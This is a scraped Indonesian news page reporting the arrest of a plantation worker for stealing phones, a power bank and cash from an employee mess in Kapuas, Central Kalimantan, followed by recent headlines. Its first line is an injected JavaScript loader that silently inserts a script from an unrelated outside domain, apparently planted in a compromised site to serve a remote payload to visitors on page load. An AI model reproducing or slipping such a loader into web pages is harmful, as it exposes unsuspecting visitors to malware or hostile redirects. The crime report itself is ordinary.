(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINALITAS KAPUAS

Pekerja Perkebunan Diamankan ke Mapolres Kapuas, Setelah Gasak Empat Hp di Mess PT GAL


KANALKALIMANTAN. COM, KUALA KAPUAS – Pelaku tindak pidana pencurian disertai pemberatan (Curat) yang beraksi pada bulan Mei 2020 di mess karyawan perkebunan, akhirnya diringkus Reskrim Polres Kapuas.

Pelaku adalah seorang pemuda berinisial AKH (21) dengan alamat Desa Bandar Agung, Kecamatan Seragi, Kabupaten Lampung Selatan, Lampung. Pelaku diamankan Satuan Reskrim Polres Kapuas pada Sabtu 18 Juli 2020 sekira pukul 08.00 WIB.

Kapolres Kapuas AKBP Manang Soebeti melalui Kasat Reskrim AKP Tri Wibowo mengungkapkan, tindak pidana pencurian dengan pemberatan (curat) terjadi pada Sabtu 23 Mei 2020. Tempat kejadian perkara (TKP) di kediaman Dwi Prastio yang menempati Mess Hasma PT GAL di Desa Sriwidadi, Kecamatan Mantangai, Kabupaten Kapuas, Kalteng.

“Pelaku diduga masuk ke dalam mess lewat jendela belakang dan mengambil empat buah handphone, yaitu masing-masing handphone merk Samsung J7, Samsung 31 warna hitam, Samsung 32 Prem warna putih, handphone Nokia hitam semua tanpa kotak serta 1 buah power bank warna putih milik korban,” beber Try, Senin (20/7/2020).

 

Baca juga: Empat Pelaku Curanmor ‘Operasi’ di 20 TKP, Cuma 30 Detik Satu Motor Terparkir Raib

Tidak hanya itu, pelaku yang berprofesi sebagai pekerja kebun ini juga menggasak uang tunai sebesar Rp300 ribu yang ditaruh di dalam dompet.

Pencurian itu baru diketahui setelah istri korban bangun tidur dan ingin mengambil handphonenya.

“Usai bangun tidur istri korban terkejut, saat ingin mengambil handphonenya ternyata sudah tidak ada lagi di tempatnya,” ungkapnya.

Atas aksi pencurian itu korban mengalami kerugian sebesar Rp2,5 juta. Selanjutnya kejadian tersebut dilaporkan ke Polres Kapuas.

Bersama pelaku turut diamankan barang bukti, 1 buah handphone merek Nokia dan 1 buah power bank merk V-Gen.

“Pelaku berikut barang bukti kini sudah diamankan di Polres Kapus guna proses lebih lanjut,” terangnya. (kanalkalimantan.com/ags)

Reporter : Ags
Editor : Bie


Desy Arfianty

Recent Posts

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

2 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

2 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

3 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

16 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

16 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

17 jam ago

This website uses cookies.